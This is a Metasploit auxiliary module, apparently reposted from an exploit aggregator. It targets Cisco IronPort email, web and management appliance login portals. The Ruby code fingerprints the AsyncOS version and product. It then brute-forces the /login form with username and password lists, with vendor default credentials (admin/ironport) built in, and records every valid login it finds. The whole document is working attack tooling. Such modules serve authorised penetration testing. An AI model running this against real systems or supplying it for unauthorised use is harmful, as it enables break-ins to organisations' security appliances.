Exploit for Cisco Ironport Bruteforce Login Utility

## https://sploitus.com/exploit?id=PACKETSTORM:181063
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Cisco Ironport Bruteforce Login Utility',  
'Description' => %{  
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS  
versions, and performs login brute force to identify valid credentials.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => { 'SSL' => true }  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),  
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])  
])  
end  
  
def run_host(ip)  
unless check_conn?  
print_error("#{rhost}:#{rport} - Connection failed, Aborting...")  
return  
end  
  
unless is_app_ironport?  
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")  
return  
end  
  
print_status("#{rhost}:#{rport} - Starting login brute force...")  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
end  
  
def check_conn?  
begin  
res = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'GET'  
})  
if res  
print_good("#{rhost}:#{rport} - Server is responsive...")  
return true  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
end  
false  
end  
  
#  
# What's the point of running this module if the app actually isn't Cisco IronPort  
#  
  
def is_app_ironport?  
res = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'GET'  
})  
  
if res && res.get_cookies  
  
cookie = res.get_cookies  
  
res = send_request_cgi(  
{  
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",  
'method' => 'GET',  
'cookie' => cookie  
})  
  
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))  
version_key = /Cisco IronPort AsyncOS (.+? )/  
version = res.body.scan(version_key).flatten[0].gsub('"','')  
product_key = /for (.*)</  
product = res.body.scan(product_key).flatten[0]  
  
if (product == 'Security Management Appliances')  
p_name = 'Cisco IronPort Security Management Appliance (SMA)'  
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")  
elsif ( product == 'Cisco IronPort Web Security Appliances' )  
p_name = 'Cisco IronPort Web Security Appliance (WSA)'  
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")  
elsif ( product == 'Cisco IronPort Appliances' )  
p_name = 'Cisco IronPort Email Security Appliance (ESA)'  
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")  
end  
  
return true  
else  
return false  
end  
else  
return false  
end  
end  
  
def service_details  
super.merge({service_name: 'Cisco IronPort Appliance'})  
end  
  
#  
# Brute-force the login page  
#  
  
def do_login(user, pass)  
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")  
begin  
res = send_request_cgi(  
{  
'uri' => '/login',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' => 'Login',  
'referrer' => '',  
'screen' => 'login',  
'username' => user,  
'password' => pass  
}  
})  
  
if res and res.get_cookies.include?('authenticated=')  
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")  
  
store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)  
return :next_user  
  
else  
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")  
return :abort  
end  
end  
end